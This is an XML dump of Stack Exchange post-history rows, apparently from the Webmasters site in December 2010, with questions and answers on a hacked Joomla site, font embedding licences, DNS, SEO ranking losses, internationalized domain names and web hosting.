  <row Id="13058" PostHistoryTypeId="1" PostId="6534" RevisionGUID="396509b6-3c61-4442-9fa4-9ec9f95ad5c6" CreationDate="2010-12-09T17:17:28.410" UserId="1870" Text="How could this site have been infected?" />
  <row Id="13059" PostHistoryTypeId="3" PostId="6534" RevisionGUID="396509b6-3c61-4442-9fa4-9ec9f95ad5c6" CreationDate="2010-12-09T17:17:28.410" UserId="1870" Text="&lt;php&gt;&lt;joomla&gt;&lt;malware&gt;&lt;hacking&gt;" />
  <row Id="13060" PostHistoryTypeId="10" PostId="6263" RevisionGUID="3286c6cd-c2ac-491a-bac4-6ca89b47b7ae" CreationDate="2010-12-09T17:19:41.450" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13062" PostHistoryTypeId="2" PostId="6535" RevisionGUID="0f49b63a-51e4-4f27-b6d8-04f3db93c910" CreationDate="2010-12-09T17:26:57.803" UserId="2579" Text="You need to see your webserver logs. There you can find enough information about intrusion. It was hacked via web, and therefore all in apache (or another server which you use) logs" />
  <row Id="13063" PostHistoryTypeId="5" PostId="6484" RevisionGUID="be51d562-2339-4c9d-80e4-1fd7e7bcfc30" CreationDate="2010-12-09T17:32:24.563" UserId="908" Comment="added 488 characters in body" Text="On the front page of a site I'm working on there's a small slideshow. It's not for pictures in particular, any content can go in, and I'm currently setting up the editing interface for the client. I'd like to be able to have one/two/more columns, and ideally that would be via CSS - does anyone know of a WYSIWYG editor that supports this? I'm using Drupal (would prefer not to involve Panels as it would require a bit of work to make it a streamlined workflow for content entry) in case that matters to anyone.&#xD;&#xA;&#xD;&#xA;To start the ball rolling, one way would be to use templates. I know CKEditor supports [templates](http://docs.cksource.com/CKEditor_3.x/Users_Guide/Document/Templates), and [it looks like](http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/template) TinyMCE might have something similar. I don't know how well these work with tableless columns (the [CKEditor homepage demo](http://ckeditor.com/demo) uses tables to achieve its two column effect).&#xD;&#xA;&#xD;&#xA;Holding out for a cool solution!" />
  <row Id="13064" PostHistoryTypeId="2" PostId="6536" RevisionGUID="65acdd2d-9775-429c-8ead-597b053f2d73" CreationDate="2010-12-09T18:21:34.417" UserId="3269" Text="In our web site, we are using `@font-face` to embed fonts (we're using Font Squirrel).  Currently, we are using only free fonts, but I'd like for us to purchase some high-quality OpenType fonts.  One option is an [Adobe &quot;Value Pack&quot;][1].  [According to Adobe][2], they allow embedding in all electronic documents.&#xD;&#xA;&#xD;&#xA;What we have some confusion about is which permission settings are required to allow the use of `@font-face`.  Here are the permissions mentioned by Adobe's site:&#xD;&#xA;&#xD;&#xA;&gt; No Embedding: This permission signals that the font or any portion of the font may not be embedded in any electronic document. While there are no Adobe Type Showroom fonts with this permission, some third-party font foundries may set their fonts to “no embedding” or prohibit embedding through their end user license agreement.&#xD;&#xA;&#xD;&#xA;Obviously, couldn't use these fonts at all.&#xD;&#xA;&#xD;&#xA;&gt; Preview &amp; Print: A font with an embedding permission of Preview &amp; Print allows the font, either fully or as a subset, to be embedded in an electronic document solely for the purpose of viewing that document on screen and/or printing that document. While a font with a Preview &amp; Print embedding permission (either through data in the font file or the font’s license agreement) may be embedded in an electronic document, the embedded font may not be used to further edit the document it is contained in or to edit or create other documents. Most fonts in the Adobe Type Showroom are set for Preview &amp; Print embedding.&#xD;&#xA;&#xD;&#xA;Would a static web page fall under this category?&#xD;&#xA;&#xD;&#xA;&gt; Editable: Fonts with an editable embedding permission can be embedded in electronic documents, and the embedded font can then be used by the recipient of the electronic document to view, print and further edit or modify the text and structure of the document in which it is embedded. These changes or edits can then be saved in the original document. Several fonts in the Adobe Type Showroom, including all Adobe Originals typefaces, other Adobe-owned typefaces and certain third-party font foundry typefaces, allow for editable embedding.&#xD;&#xA;&#xD;&#xA;Would a web page that can include user-generated content fall under this category?&#xD;&#xA;&#xD;&#xA;&gt; Installable: Fonts with an installable embedding permission may be embedded in electronic documents for viewing, printing and editing, with the added capability that they may be also be permanently installed on the computer that receives the electronic document containing the embedded font. This allows the font to be used to create and author new documents. It is intended that the recipient of a font set to installable embedding obtains all of the same rights as the person who originally licensed the font.&#xD;&#xA;&#xD;&#xA;Would the fact that a browser uses a cache make it so that all `@font-face` fonts require the &quot;Installable&quot; permission?&#xD;&#xA;&#xD;&#xA;Can anybody here clear up our confusion about license terms and embedding fonts on web pages?&#xD;&#xA;&#xD;&#xA;  [1]: http://store1.adobe.com/cfusion/store/html/index.cfm?code=1900&amp;store=OLS-US&amp;nr=0&amp;event=displayFontPackage&amp;newsample=InstantPage&amp;view=View&#xD;&#xA;  [2]: http://www.adobe.com/type/browser/info/embedding.html" />
  <row Id="13065" PostHistoryTypeId="1" PostId="6536" RevisionGUID="65acdd2d-9775-429c-8ead-597b053f2d73" CreationDate="2010-12-09T18:21:34.417" UserId="3269" Text="OpenType font embedding permissions: what exactly do these mean?" />
  <row Id="13066" PostHistoryTypeId="3" PostId="6536" RevisionGUID="65acdd2d-9775-429c-8ead-597b053f2d73" CreationDate="2010-12-09T18:21:34.417" UserId="3269" Text="&lt;fonts&gt;" />
  <row Id="13067" PostHistoryTypeId="2" PostId="6537" RevisionGUID="7f6c94f2-65d1-4180-88d5-d7c4899d13a4" CreationDate="2010-12-09T18:41:13.940" UserId="3269" Text="There are several ways that an attacker could have gained access to the site.  Here are some common possibilities:&#xD;&#xA;&#xD;&#xA;1. The attacker gained access to the server via FTP or some other availabe publication/admin channel.  Perhaps there is a weak password and access was gained through a brute force attack, or maybe through social engineering, the password was obtained.  Check the server's security log (though the attacker may have had access to delete the log).&#xD;&#xA;&#xD;&#xA;2. The web site may have XSS vulnerabilities or other code defects.  For example, the code could be vulerable to SQL injection or PHP may be performing `system` calls formed with user data.&#xD;&#xA;&#xD;&#xA;3. Joomla may have known vulnerabilities.  Make sure any security updates are applied.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;" />
  <row Id="13069" PostHistoryTypeId="2" PostId="6539" RevisionGUID="598f7b18-9218-44e2-8c76-a1312448d5aa" CreationDate="2010-12-09T18:50:48.027" UserId="2293" Text="Yeah, I'd bet Adobe's license agreement means: only Installable fonts are allowed to be embedded with @font-face.&#xD;&#xA;&#xD;&#xA;However this is kinda tricky. Because you can make uninstallable font embeding. If you are used to Font Squirrel, you already saw the option &quot;WebOnly&quot; when generating kits.&#xD;&#xA;&#xD;&#xA;This option does a obfuscation that turn fonts downloadable, render in the page, but user can't pick from cache nor install the font, what can make any font available to @font-face (except the 'no embed' ones).&#xD;&#xA;&#xD;&#xA;I think an email to Adobe's support can be enlightning however (words lies, this is double truth to agreements and contracts)." />
  <row Id="13070" PostHistoryTypeId="2" PostId="6540" RevisionGUID="3b1adc22-411f-4dfc-832c-761bef535621" CreationDate="2010-12-09T19:03:33.333" UserId="3269" Text="If I go to &quot;http://webmasters.stackexchange.com,&quot; how does my browser know how to find the server for &quot;webmasters.stackexchange.com?&quot;  It knows through using DNS lookups, which means it needs to ask a DNS server if it knows the address of webmasters.stackexchange.com.&#xD;&#xA;&#xD;&#xA;So who owns those DNS servers?  Typically, it will be your Internet provider; they aren't personally responsible for knowing the address of every web site across the 'Net.  &#xD;&#xA;&#xD;&#xA;So who is responsible for telling all DNS servers where web sites live?  Domain name registrars are.  Somebody needs to be an ultimate authority on addresses for domain names; if nobody was, then anybody could pretend their servers go to your domain name.  Obviously, managing domain names takes support people, developers to give webmasters the tools for managing domains, servers, and many other things that cost money.  &#xD;&#xA;&#xD;&#xA;That's why you have to purchase a domain name, so you can claim ownership and pay for the costs of the services provided by the registrar.  However, there are services, like [DynDNS][1], that let you buy (or use for free in a limited fashion) a *sub*-domain under a domain name that they own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dyndns.com/" />
  <row Id="13071" PostHistoryTypeId="2" PostId="6541" RevisionGUID="28717a11-a289-4ee1-a3b6-3232c550c88d" CreationDate="2010-12-09T19:18:09.237" UserId="3720" Text="**Something is seriously wrong after I updated my site with new templates, moved to a new server and started writing on English rather than Norwegian.**&#xD;&#xA;______________&#xD;&#xA;&#xD;&#xA;I know from Google Analytics, that most of my readers comes from Google.&#xD;&#xA;&#xD;&#xA;I do a quick test by googling (google.no) `Oslo Fashion Fair 2009`. This is the name of the article and is the title of my page. ( &#xD;&#xA;http://www.google.no/search?hl=no&amp;q=Oslo+Fashion+Fair+2009&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai= )&#xD;&#xA;&#xD;&#xA;The page that I trying to find is this: http://www.norwegianfashion.no/news/oslo-fashion-fair-2009/&#xD;&#xA;&#xD;&#xA;This used to be one of the first pages in Google. Now you don't see my site until Page 4, and that is a link to something completely different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On page 4 in the google search, you see this:&#xD;&#xA;&#xD;&#xA;&gt; Designere - Norwegian Fashion   &#xD;&#xA;&gt; Norske designere Når man tenker fashion,tenker de fleste på designere som Yves&#xD;&#xA;&gt; Saint ...  &#xD;&#xA;&gt; Fashion Week Guide 16-22 august 2010 · Oslo Fashion Fair 2009 ...  &#xD;&#xA;&gt; www.norwegianfashion.no/blog/designere&#xD;&#xA;&#xD;&#xA;There are a few problems with this:&#xD;&#xA;&#xD;&#xA; 1. The headline says `Designere - Norwegian Fashion`. I no longer have a page called `Designere`. It's now called [Designers][1].&#xD;&#xA;&#xD;&#xA; 2. The link points to `www.norwegianfashion.no/blog/designere`. But I've never had that a URL with that name. The page does not exist.&#xD;&#xA;&#xD;&#xA; 3. When you click the link, a completely different page opens.&#xD;&#xA;&#xD;&#xA;I also noticed that I ahve lost Page Rank. My Page-RAnk add-on in Firefox will no longer rate my site, and Googles own Page Rank checker can't check my site for page ranking.&#xD;&#xA;&#xD;&#xA;**So what kind of SEO have I done?**  &#xD;&#xA;&#xD;&#xA;1. I've put the `&lt;title&gt;` tag at the top, followed by the meta tags `&lt;description&gt;` and `Keywords`&#xD;&#xA;&#xD;&#xA;2. For new pages, I use my intro texst in the description field.&#xD;&#xA;&#xD;&#xA;3. I've made sure to use appropriate H1 - H3 tags&#xD;&#xA;&#xD;&#xA;4. I've got relative content in headline vs intro and main body text, as well as appropriate keywords.&#xD;&#xA;&#xD;&#xA;5. I've added my site to Google&#xD;&#xA;&#xD;&#xA;6. I've used Google Webmaster Tools to optimize my site&#xD;&#xA;&#xD;&#xA;7. I've added a sitemap.xml, but google throws an error at this &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't know why I'm suddenly not being indexed by any search engines. What have I done wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.norwegianfashion.no/designers/" />
  <row Id="13072" PostHistoryTypeId="1" PostId="6541" RevisionGUID="28717a11-a289-4ee1-a3b6-3232c550c88d" CreationDate="2010-12-09T19:18:09.237" UserId="3720" Text="Help! My articles are not indexed correctly by search engines" />
  <row Id="13073" PostHistoryTypeId="3" PostId="6541" RevisionGUID="28717a11-a289-4ee1-a3b6-3232c550c88d" CreationDate="2010-12-09T19:18:09.237" UserId="3720" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;pagerank&gt;" />
  <row Id="13074" PostHistoryTypeId="2" PostId="6542" RevisionGUID="e3c6ae12-4ed3-4e67-b42f-ae8a3afc7cd9" CreationDate="2010-12-09T19:25:45.813" UserId="3766" Text="I'm looking for something like Google Documents, but that our company can host ourselves (for security/confidentiality reasons).&#xD;&#xA;&#xD;&#xA;I'd like something where multiple users can edit a word-processing-like document from the web. Ideally it would be able to show the history of revisions, and maybe compare them. Wiki software doesn't really fit the bill, since the syntax is too complicated for some users.&#xD;&#xA;&#xD;&#xA;Does this exist?" />
  <row Id="13075" PostHistoryTypeId="1" PostId="6542" RevisionGUID="e3c6ae12-4ed3-4e67-b42f-ae8a3afc7cd9" CreationDate="2010-12-09T19:25:45.813" UserId="3766" Text="Self-hosted collaborative document editor" />
  <row Id="13076" PostHistoryTypeId="3" PostId="6542" RevisionGUID="e3c6ae12-4ed3-4e67-b42f-ae8a3afc7cd9" CreationDate="2010-12-09T19:25:45.813" UserId="3766" Text="&lt;wysiwyg&gt;&lt;text-editor&gt;" />
  <row Id="13077" PostHistoryTypeId="5" PostId="6541" RevisionGUID="66dde814-eb5a-4c67-bce0-9d10878e0b0b" CreationDate="2010-12-09T19:38:03.900" UserId="3720" Comment="deleted 36 characters in body" Text="**Something is seriously wrong after I updated my site with new templates, moved to a new server and started writing on English rather than Norwegian.**&#xD;&#xA;______________&#xD;&#xA;&#xD;&#xA;I know from Google Analytics, that most of my readers comes from Google.&#xD;&#xA;&#xD;&#xA;I do a quick test by googling (google.no) `Oslo Fashion Fair 2009`. This is the name of the article and is the title of my page. ( &#xD;&#xA;http://www.google.no/search?hl=no&amp;q=Oslo+Fashion+Fair+2009&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai= )&#xD;&#xA;&#xD;&#xA;The page that I trying to find is this: http://www.norwegianfashion.no/news/oslo-fashion-fair-2009/&#xD;&#xA;&#xD;&#xA;This used to be one of the first pages in Google. Now you don't see my site until Page 4, and that is a link to something completely different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On page 4 in the google search, you see this:&#xD;&#xA;&#xD;&#xA;&gt; Designere - Norwegian Fashion   &#xD;&#xA;&gt; Norske designere Når man tenker fashion,tenker de fleste på designere som Yves&#xD;&#xA;&gt; Saint ...  &#xD;&#xA;&gt; Fashion Week Guide 16-22 august 2010 · Oslo Fashion Fair 2009 ...  &#xD;&#xA;&gt; www.norwegianfashion.no/blog/designere&#xD;&#xA;&#xD;&#xA;There are a few problems with this:&#xD;&#xA;&#xD;&#xA; 1. The headline says `Designere - Norwegian Fashion`. I no longer have a page called `Designere`. It's now called [Designers][1].&#xD;&#xA;&#xD;&#xA; 2. The link points to `www.norwegianfashion.no/blog/designere`. But I've never had that a URL with that name. The page does not exist.&#xD;&#xA;&#xD;&#xA; 3. When you click the link, a completely different page opens.&#xD;&#xA;&#xD;&#xA;I also noticed that I ahve lost Page Rank. My Page-RAnk add-on in Firefox will no longer rate my site, and Googles own Page Rank checker can't check my site for page ranking.&#xD;&#xA;&#xD;&#xA;**So what kind of SEO have I done?**  &#xD;&#xA;&#xD;&#xA;1. I've put the `&lt;title&gt;` tag at the top, followed by the meta tags `&lt;description&gt;` and `Keywords`&#xD;&#xA;&#xD;&#xA;2. For new pages, I use my intro texst in the description field.&#xD;&#xA;&#xD;&#xA;3. I've made sure to use appropriate H1 - H3 tags&#xD;&#xA;&#xD;&#xA;4. I've got relative content in headline vs intro and main body text, as well as appropriate keywords.&#xD;&#xA;&#xD;&#xA;5. I've added my site to Google&#xD;&#xA;&#xD;&#xA;6. I've used Google Webmaster Tools to optimize my site&#xD;&#xA;&#xD;&#xA;7. I've added a sitemap.xml &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't know why I'm suddenly not being indexed by any search engines. What have I done wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.norwegianfashion.no/designers/" />
  <row Id="13078" PostHistoryTypeId="2" PostId="6543" RevisionGUID="902bcbc5-0771-448e-9bc9-db5fa21f29fc" CreationDate="2010-12-09T20:42:11.257" UserId="3700" Text="i stuck in problem. my friend tag his wedding invitation to friends.... he have a lot of friends...now there bcome disput in friends that y they r not tagged??&#xD;&#xA;&#xD;&#xA;so Please tell me is there any way to tag more than 50 Persons on a photo..&#xD;&#xA;&#xD;&#xA;Please responde??&#xD;&#xA;do have to mail to facebook for this...." />
  <row Id="13079" PostHistoryTypeId="1" PostId="6543" RevisionGUID="902bcbc5-0771-448e-9bc9-db5fa21f29fc" CreationDate="2010-12-09T20:42:11.257" UserId="3700" Text="is there any way to tag more than 50 people in facebook photo??" />
  <row Id="13080" PostHistoryTypeId="3" PostId="6543" RevisionGUID="902bcbc5-0771-448e-9bc9-db5fa21f29fc" CreationDate="2010-12-09T20:42:11.257" UserId="3700" Text="&lt;facebook&gt;" />
  <row Id="13081" PostHistoryTypeId="10" PostId="6543" RevisionGUID="f9b26603-30c6-4929-8b34-5b7517370df7" CreationDate="2010-12-09T21:01:30.783" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13082" PostHistoryTypeId="2" PostId="6544" RevisionGUID="3c2df63d-8530-4b34-b96f-827e9fb3357b" CreationDate="2010-12-09T23:34:35.050" UserId="925" Text="I'm thinking of getting a non-ASCII Internationalized Domain Name (e.g. ``thé.com``). However my current domain registrar doesn't do IDNs. Their web form reports an invalid domain name when I try to enter it, and they claim they don't support it. Could I just register the puny code (in this case ``xn--th-cja.com``) with the registrar? Or do I need to go to a special IDN 'aware' domain registrar?" />
  <row Id="13083" PostHistoryTypeId="1" PostId="6544" RevisionGUID="3c2df63d-8530-4b34-b96f-827e9fb3357b" CreationDate="2010-12-09T23:34:35.050" UserId="925" Text="International Domain Names - Can I just register the punycode with any registrar?" />
  <row Id="13084" PostHistoryTypeId="3" PostId="6544" RevisionGUID="3c2df63d-8530-4b34-b96f-827e9fb3357b" CreationDate="2010-12-09T23:34:35.050" UserId="925" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;registrar&gt;&lt;internationalization&gt;&lt;idn&gt;" />
  <row Id="13085" PostHistoryTypeId="2" PostId="6545" RevisionGUID="dc5192ea-68f0-40d1-ac97-8de64eb8de7e" CreationDate="2010-12-09T23:42:06.413" UserId="1914" Text="This should be what you're looking for. http://developers.facebook.com/docs/share However, do note that that is no longer the recommended way to do it. Soooo...&#xD;&#xA;&#xD;&#xA;Use either the OpenGraph or the Like Button. The latter is the easier of the two.&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/opengraph&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/reference/plugins/like&#xD;&#xA;&#xD;&#xA;HTH." />
  <row Id="13086" PostHistoryTypeId="2" PostId="6546" RevisionGUID="b2c3c6de-9297-4559-a7b7-5116484c2f17" CreationDate="2010-12-10T00:18:36.763" UserDisplayName="Chris J" Text="I am in the process of rebuilding a site from static pages to a CMS which will be using mod_rewrite to generate new page URLs. In this process our marketing people and myself have decided to tidy up the descriptions, keywords and titles. &#xD;&#xA;&#xD;&#xA;Eg: a page which who's URL is currently &quot;website-name/about_us.html&quot; and has a title of &quot;website-name - something not quite page specific&quot; will change to &quot;website-name/about-us/&quot; and title: &quot;about us - website-name&quot; and may have a few keywords and the description changed.&#xD;&#xA;&#xD;&#xA;Our goal with updating the meta data is to improve our page rankings and try to keep in line with some best practices for SEO. Though our current page rankings are quite good in many aspects, there is room for improvement.&#xD;&#xA;&#xD;&#xA;All of the pages will also have content changes (like rearranging heading tags, new menu on all pages, new content in footer, extra pieces of dynamic content relating to other pages).&#xD;&#xA;&#xD;&#xA;In this new site process I plan to use 301 redirects for all the old URLs pointing to the new URLs.&#xD;&#xA;&#xD;&#xA;My question is what can I expect to happen to the page rankings in Google, in the sort term and long term?&#xD;&#xA;&#xD;&#xA;Will this be like kicking off a new site which will have to build up trust over time or will the original page rankings have affect?&#xD;&#xA;" />
  <row Id="13087" PostHistoryTypeId="1" PostId="6546" RevisionGUID="b2c3c6de-9297-4559-a7b7-5116484c2f17" CreationDate="2010-12-10T00:18:36.763" UserDisplayName="Chris J" Text="Moving from a static site to a CMS with new URLs and meta-data for pages" />
  <row Id="13088" PostHistoryTypeId="3" PostId="6546" RevisionGUID="b2c3c6de-9297-4559-a7b7-5116484c2f17" CreationDate="2010-12-10T00:18:36.763" UserDisplayName="Chris J" Text="&lt;seo&gt;&lt;cms&gt;&lt;pagerank&gt;" />
  <row Id="13089" PostHistoryTypeId="5" PostId="6545" RevisionGUID="0f52ce6e-4e9b-4fac-b665-6828fe43658b" CreationDate="2010-12-10T00:56:23.290" UserId="1914" Comment="added 371 characters in body; added 2 characters in body" Text="This should be what you're looking for. http://developers.facebook.com/docs/share However, do note that that is no longer the recommended way to do it. Soooo...&#xD;&#xA;&#xD;&#xA;Use either the OpenGraph or the Like Button. The latter is the easier of the two.&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/opengraph&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/reference/plugins/like&#xD;&#xA;&#xD;&#xA;edit- As an addendum if you look at the documentation for share and search for &quot;Creating Your Own Share URL&quot; (bottom of the page) you'll see how to construct the proper url.&#xD;&#xA;&#xD;&#xA;`http://www.facebook.com/sharer.php?u=&lt;url to share&gt;&amp;t=&lt;title of content&gt;`&#xD;&#xA;&#xD;&#xA;http://www.facebook.com/sharer.php?u=http://farm1.static.flickr.com/9/14443265_696a35719b_o.jpg&amp;t=aFlickrPicture&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;HTH." />
  <row Id="13090" PostHistoryTypeId="2" PostId="6547" RevisionGUID="3392ef97-c819-4d13-80df-5ad914585a22" CreationDate="2010-12-10T01:00:14.910" UserId="138" Text="When you type an IDN for a non-IDN-supported TLD, FireFox goes and converts it into punycode instantly. Try it yourself: [http://español.com/][1] &lt;sup&gt;1&lt;/sup&gt; - you'll see it takes you to a parked domain.&#xD;&#xA;&#xD;&#xA;This indicates that yes, you can register the punycode against the registrar and it will work, but perhaps not as you intended.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&lt;sup&gt;1&lt;/sup&gt;SE's markup doesn't detect IDN urls, so you'll have to just copy/paste.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://español.com/" />
  <row Id="13091" PostHistoryTypeId="2" PostId="6548" RevisionGUID="336785ea-98aa-4f46-9a00-018f02c2efc4" CreationDate="2010-12-10T01:49:01.210" UserId="3574" Text="Based on other discussions on this site and elsewhere, using flags to identify languages is the path to madness.&#xD;&#xA;&#xD;&#xA;Nevertheless, I need an easy way to identify the language of individual content items on my site. I was thinking a bracketed 3 letter prefix might do the trick:&#xD;&#xA;&#xD;&#xA;    [ENG] - English&#xD;&#xA;    [FRE] - French&#xD;&#xA;    [FRA] - French (better?)&#xD;&#xA;    [ITA] - Italian&#xD;&#xA;    [SPA] - Spanish&#xD;&#xA;    [ESP] - Spanish (better?)&#xD;&#xA;    [GER] - German&#xD;&#xA;    [JPN] - Japanese&#xD;&#xA;    [CHN-S] - Chinese Simplified&#xD;&#xA;    [CHN-T] - Chinese Traditional&#xD;&#xA;    etc...&#xD;&#xA;&#xD;&#xA;Apart from the special case for Chinese's two distinct systems, would I run into any problems sticking to a 3 character prefix system?" />
  <row Id="13092" PostHistoryTypeId="1" PostId="6548" RevisionGUID="336785ea-98aa-4f46-9a00-018f02c2efc4" CreationDate="2010-12-10T01:49:01.210" UserId="3574" Text="Language prefixes..." />
  <row Id="13093" PostHistoryTypeId="3" PostId="6548" RevisionGUID="336785ea-98aa-4f46-9a00-018f02c2efc4" CreationDate="2010-12-10T01:49:01.210" UserId="3574" Text="&lt;internationalization&gt;&lt;language&gt;" />
  <row Id="13094" PostHistoryTypeId="2" PostId="6549" RevisionGUID="9665eebb-9410-4152-9162-5d62cfacb030" CreationDate="2010-12-10T03:03:00.390" UserId="138" Text="I see no problems with this for anyone using a modern browser. You might want to add some metadata/microdata to the text though, to help browsers and search engines interpret what your codes mean. I know I saw some questions on one of the stack exchange sites about it the other day, but I can't find them at the moment." />
  <row Id="13095" PostHistoryTypeId="2" PostId="6550" RevisionGUID="1eb54ffd-0545-4355-b9f3-f413cfee6411" CreationDate="2010-12-10T03:19:11.970" UserId="3565" Text="As a free and language agnostic framework, there is always the use of the [Compass][1] framework that works very well in conjunction with the [Sass][2] language, which will make your CSS a lot more themable and reusable. &#xD;&#xA;&#xD;&#xA;If you are using Linux, it is easily installable via rubygems (note that you don't need to know anything about ruby, I write PHP and use Sass -- now known as Scss for Sass3) though it might be easy to get on any other platform too, but I haven't checked.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://compass-style.org/&#xD;&#xA;  [2]: http://sass-lang.com/" />
  <row Id="13096" PostHistoryTypeId="2" PostId="6551" RevisionGUID="8b22a0a5-f8ad-4e48-b76b-e373d6dc2290" CreationDate="2010-12-10T05:05:24.570" UserDisplayName="Chris" Text="Part of any new business is looking for new clients .... Im wondering if any of you guys approach old outdated websites for re-design? ... If so, how do you approach them without insulting them, or do you tend to steer clear of this method?&#xD;&#xA;&#xD;&#xA;Advice would be great.&#xD;&#xA;&#xD;&#xA;Cheers," />
  <row Id="13097" PostHistoryTypeId="1" PostId="6551" RevisionGUID="8b22a0a5-f8ad-4e48-b76b-e373d6dc2290" CreationDate="2010-12-10T05:05:24.570" UserDisplayName="Chris" Text="Approaching re-development" />
  <row Id="13098" PostHistoryTypeId="3" PostId="6551" RevisionGUID="8b22a0a5-f8ad-4e48-b76b-e373d6dc2290" CreationDate="2010-12-10T05:05:24.570" UserDisplayName="Chris" Text="&lt;business&gt;" />
  <row Id="13099" PostHistoryTypeId="2" PostId="6552" RevisionGUID="4c675bbe-6988-4338-b853-5c9d4419adf4" CreationDate="2010-12-10T06:13:15.320" UserId="2004" Text="I'm just starting to give RoR a go (RoR3 to be precise), and I'm wondering about hosting. For PHP applications, it's easy to run multiple of them on the one site (eg. in different subdirectories, subdomains, or addon domains).&#xD;&#xA;&#xD;&#xA;It seems that for RoR hosting, it is only ever one application per &quot;server&quot; - so for instance you can no longer install apps in subdirectories.&#xD;&#xA;&#xD;&#xA;Is this assumption correct? What are the different ways rails apps are hosted?&#xD;&#xA;&#xD;&#xA;Thanks guys :-)" />
  <row Id="13100" PostHistoryTypeId="1" PostId="6552" RevisionGUID="4c675bbe-6988-4338-b853-5c9d4419adf4" CreationDate="2010-12-10T06:13:15.320" UserId="2004" Text="Ruby on Rails 3 - Hosting Patterns???" />
  <row Id="13101" PostHistoryTypeId="3" PostId="6552" RevisionGUID="4c675bbe-6988-4338-b853-5c9d4419adf4" CreationDate="2010-12-10T06:13:15.320" UserId="2004" Text="&lt;web-hosting&gt;" />
  <row Id="13102" PostHistoryTypeId="2" PostId="6553" RevisionGUID="aa336c3e-5b34-4783-92e2-e482e207266d" CreationDate="2010-12-10T06:16:53.467" UserId="2829" Text="Here are two completely opposite but not quite perfect answers:&#xD;&#xA;&#xD;&#xA; 1. [Google Apps for Business](http://www.google.com/apps/intl/en/business/index.html) Ultimately this is hosted on Google's servers, but theoretically security issues are adequately handled.  This is still a tough sell in some businesses.&#xD;&#xA; 1. [Etherpad](http://etherpad.org)  This is an open source, web based, real-time, collaborative document editor.  Apparently this was bought by Google, and was supposed to be merged with Google Wave, but instead it seems that they spun it off as an open source project.  It looks neat and can be locally hosted, but it seems a little bleeding edge.&#xD;&#xA;&#xD;&#xA;There's another product [BeWeeVee](http://www.beweevee.com/Partners.aspx) that's in the Windows world .NET/Silverlight. as well.  &#xD;&#xA;&#xD;&#xA;And I'm sure there are other -- maybe better solutions." />
  <row Id="13103" PostHistoryTypeId="2" PostId="6554" RevisionGUID="4a53e98e-3637-417c-9258-f1de340347ab" CreationDate="2010-12-10T06:29:21.063" UserId="132" Text="While recently doing testing for a new web project, it occurred to me that Safari and Chrome both use the Webkit engine, yet are produced by two different companies (Apple and Google).&#xD;&#xA;&#xD;&#xA;Since it is the engine that does the bulk of the rendering work, can one of these browsers be safely disregarded during testing? Or are are there subtle differences that make testing in both worthwhile?" />
  <row Id="13104" PostHistoryTypeId="1" PostId="6554" RevisionGUID="4a53e98e-3637-417c-9258-f1de340347ab" CreationDate="2010-12-10T06:29:21.063" UserId="132" Text="Should sites be tested in both Chrome and Safari?" />
  <row Id="13105" PostHistoryTypeId="3" PostId="6554" RevisionGUID="4a53e98e-3637-417c-9258-f1de340347ab" CreationDate="2010-12-10T06:29:21.063" UserId="132" Text="&lt;browsers&gt;&lt;testing&gt;&lt;chrome&gt;&lt;safari&gt;" />
  <row Id="13106" PostHistoryTypeId="2" PostId="6555" RevisionGUID="6132b36e-4ae2-4d75-bd0b-3b1ec76d1372" CreationDate="2010-12-10T06:57:23.837" UserId="3753" Text="Insist on seeing work in progress shots.  They'll have to be pretty desperate to go so far as to find those to steal, in most cases." />
  <row Id="13107" PostHistoryTypeId="2" PostId="6556" RevisionGUID="6e61823f-6776-435f-aff2-50b797143adb" CreationDate="2010-12-10T07:03:17.993" UserId="46" Text="Stack Overflow has made a change to their page titles such that the most popular tag for a question appears at the start of the title.  The change is being deployed across the network, so check out the page title for this question.  &#xD;&#xA;&#xD;&#xA;Compare the question title and the page title for [this question](http://stackoverflow.com/q/4406371/181481):&#xD;&#xA;&#xD;&#xA;* Question title:  Is it safe to use ASP.NET MVC3 RC?&#xD;&#xA;* Page title:  asp.net mvc - Is it safe to use ASP.NET MVC3 RC? - Stack Overflow&#xD;&#xA;&#xD;&#xA;I understand the change to try and stop [scrapers ranking higher](http://meta.stackoverflow.com/questions/71820/report-high-google-ranking-se-scrapers-here) on Google.  Adding the most popular tag to the page title seems like a good idea.&#xD;&#xA;&#xD;&#xA;However, a side effect that I'm noticing is that with a lot of tabs open, now the only part of the title that I can see is the tag.  **Would moving this keyword to later in the page title harm these efforts to improve SEO?**&#xD;&#xA;&#xD;&#xA;Possible title:  Is it safe to use ASP.NET MVC3 RC? - asp.net mvc - Stack Overflow" />
  <row Id="13108" PostHistoryTypeId="1" PostId="6556" RevisionGUID="6e61823f-6776-435f-aff2-50b797143adb" CreationDate="2010-12-10T07:03:17.993" UserId="46" Text="Does the order of keywords matter in a page title?" />
  <row Id="13109" PostHistoryTypeId="3" PostId="6556" RevisionGUID="6e61823f-6776-435f-aff2-50b797143adb" CreationDate="2010-12-10T07:03:17.993" UserId="46" Text="&lt;seo&gt;" />
